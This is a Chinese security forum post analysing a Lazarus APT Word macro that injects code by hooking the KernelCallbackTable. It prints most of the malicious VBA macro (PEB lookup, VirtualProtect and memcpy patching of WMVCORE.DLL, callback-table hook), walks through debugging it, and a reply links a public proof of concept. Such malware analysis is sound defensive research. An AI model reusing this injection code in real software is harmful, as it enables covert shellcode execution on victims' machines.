首页
社区
课程
招聘
[原创]Lazarus KernelCallbackTable Hooking
发表于: 2022-2-9 19:15 6298

[原创]Lazarus KernelCallbackTable Hooking

erfze 活跃值
12
2022-2-9 19:15
6298

完整报告见North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign

 

该技术在Blackhat 2019《Windows Process Injection in 2019》议题中有提到:

 

image.png


 

代码(关键函数及变量名笔者进行了替换):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
#If Win64 Then
 
Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _
 
    Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As LongLong
 
 
 
#Else
 
Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _
 
    Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As Long
 
 
 
#End If
 
 
 
#If Win64 Then
 
Private Declare PtrSafe Function WMvdspt Lib "kernel32" _
 
    Alias "GetProcAddress" (ByVal WMvdsptParam1 As LongLong, ByVal WMvdsptParam2 As String) As LongPtr
 
 
 
#Else
 
Private Declare PtrSafe Function WMvdspt Lib "kernel32" _
 
    Alias "GetProcAddress" (ByVal WMvdsptParam1 As Long, ByVal WMvdsptParam2 As String) As LongPtr
 
 
 
#End If
 
 
 
#If Win64 Then
 
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" _
 
    Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As LongLong, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long
 
Private Declare PtrSafe Sub memcpy Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As LongLong)
 
 
 
#Else
 
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" _
 
    Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As Long, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long
 
Private Declare PtrSafe Sub memcpy Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As Long)
 
 
 
#End If
 
 
 
#If Win64 Then
 
Dim WMPlaybackHD As LongLong
 
Dim WMPlaybackSC As LongLong
 
Dim WMPlaybackRadd As LongLong
 
#Else
 
Dim WMPlaybackHD As Long
 
Dim WMPlaybackSC As Long
 
Dim WMPlaybackRadd As Long
 
#End If
 
 
 
Private Type PROCESS_BASIC_INFORMATION
 
    WmScrData1      As LongPtr
 
    PebBaseAddress  As LongPtr
 
    WmScrData3    As LongPtr
 
    WmScrMeta1    As LongPtr
 
    WmScrMeta2 As LongPtr
 
    WmScrMeta3    As LongPtr
 
End Type
 
 
 
 
 
'typedef struct _PROCESS_BASIC_INFORMATION {
 
'    NTSTATUS ExitStatus;
 
'    PPEB PebBaseAddress;
 
'    ULONG_PTR AffinityMask;
 
'    KPRIORITY BasePriority;
 
'    ULONG_PTR UniqueProcessId;
 
'    ULONG_PTR InheritedFromUniqueProcessId;
 
'} PROCESS_BASIC_INFORMATION;
 
 
 
Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" Alias "NtQueryInformationProcess" ( _
 
   ByVal StreamEncdIn1 As LongPtr, _
 
   ByVal StreamEncdIn2 As Long, _
 
   ByRef StreamEncdIn3 As PROCESS_BASIC_INFORMATION , _
 
   ByVal StreamEncdIn4 As Long, _
 
   ByRef StreamEncdIn5 As Long _
 
) As Integer
 
 
 
 
 
Private Sub Frame1_Layout()
 
 
 
On Error Resume Next
 
 
 
WMPlaybackHD = LoadPlaybackHD("WMVCORE.DLL")
 
Dim KCT_Offset As Long
 
Dim wmorder As Long
 
Dim WMVSDecpro As Long
 
 
 
#If Win64 Then
 
WMPlaybackRadd = 8
 
KCT_Offset = &H58
 
wmorder = &H10         '__fnDWORDOPTINLPMSG
 
WMVSDecpro = Play_Encd
 
#Else
 
WMPlaybackRadd = 4
 
KCT_Offset = &H2C     'KernelCallbackTable Offset
 
wmorder = &H8         '__fnDWORD
 
WMVSDecpro = Play_Encd_Dcd
 
#End If
 
 
 
Dim WmEmptyData As LongPtr
 
Dim Ret As Long
 
Dim WMCreateFileSink As LongPtr
 
Dim WMModifyFSink As LongPtr
 
Dim capa As Long
 
Dim ProcessInformation As PROCESS_BASIC_INFORMATION
 
Dim KernelCallbackTable As LongPtr
 
Dim wmflash As LongPtr
 
Dim wmWnd As LongPtr
 
 
 
WMPlaybackSC = 0
 
 
 
If WMIsAvailableOffline() = False Then
 
    WMCreateFileSink = WMvdspt(WMPlaybackHD, "WMIsAvailableOffline")
 
    Result = NtQueryInformationProcess(-1, 0, ProcessInformation, Len(ProcessInformation), capa)
 
    memcpy KernelCallbackTable, ByVal (ProcessInformation.PebBaseAddress + KCT_Offset), WMPlaybackRadd
 
    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Encd, WmEmptyData)
 
 
 
    wmflash = KernelCallbackTable + wmorder
 
    Ret = VirtualProtect(ByVal (wmflash), WMPlaybackRadd, WMVSDecpro, WmEmptyData)
 
 
 
    WMModifyFSink = WMCreateFileSink
 
    WMModifyFSink = WMCheckURLScheme1(WMModifyFSink)
 
    WMModifyFSink = WMCheckURLScheme2(WMModifyFSink)
 
    WMModifyFSink = WMCheckURLScheme3(WMModifyFSink)
 
 
 
    memcpy ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd
 
    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Decd_Rdh, WmEmptyData)
 
 
 
    memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd

首先是传递ProcessBasicInformation给NtQueryInformationProcess以获取PEB:

1
Result = NtQueryInformationProcess(-1, 0, ProcessInformation, Len(ProcessInformation), capa)

PROCESS_BASIC_INFORMATION结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _PROCESS_BASIC_INFORMATION {
 
    NTSTATUS ExitStatus;
 
    PPEB PebBaseAddress;
 
    ULONG_PTR AffinityMask;
 
    KPRIORITY BasePriority;
 
    ULONG_PTR UniqueProcessId;
 
    ULONG_PTR InheritedFromUniqueProcessId;
 
} PROCESS_BASIC_INFORMATION;

根据偏移获取PebBaseAddress进而获取KernelCallbackTable:

1
memcpy KernelCallbackTable, ByVal (ProcessInformation.PebBaseAddress + KCT_Offset), WMPlaybackRadd

1.PNG

 

之后选择KernelCallbackTable中函数进行Hook:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#If Win64 Then
 
WMPlaybackRadd = 8
 
KCT_Offset = &H58
 
wmorder = &H10         '__fnDWORDOPTINLPMSG
 
WMVSDecpro = Play_Encd
 
#Else
 
WMPlaybackRadd = 4
 
KCT_Offset = &H2C     'KernelCallbackTable Offset
 
wmorder = &H8         '__fnDWORD
 
WMVSDecpro = Play_Encd_Dcd
 
#End If
 
...
 
wmflash = KernelCallbackTable + wmorder
 
...
 
memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd

替换的函数地址是之前获取到的WMIsAvailableOffline函数地址,但其内容已经被替换。

 

实际调试过程中发现Word进程会崩溃(Windows7 x64+Office 2010 32位),通过WinDbg附加进程,执行至如下指令:

1
memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd

image.png

 

通过与原WMVCORE.DLL进行比对,发现该样本修改了0x2bdfb97f处指令:

 

 

image.png

 

执行memcpy ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd时进行了上述修改。笔者后来在Windows10 1709 x64+Office 2013 64位环境再次调试,发现可以执行Shellcode:

 

 

后续行为都在North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign这篇报告中已经写到,有意思的一个技术点:

 

image.png


 

References


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 1332
活跃值: (9481)
能力值: ( LV12,RANK:650 )
在线值:
发帖
回帖
粉丝
2

POC:
https://gitlab.com/ORCA666/kcthijack

最后于 2022-2-9 21:12 被erfze编辑 ,原因:
2022-2-9 21:11
0
游客
登录 | 注册 方可回帖
返回
//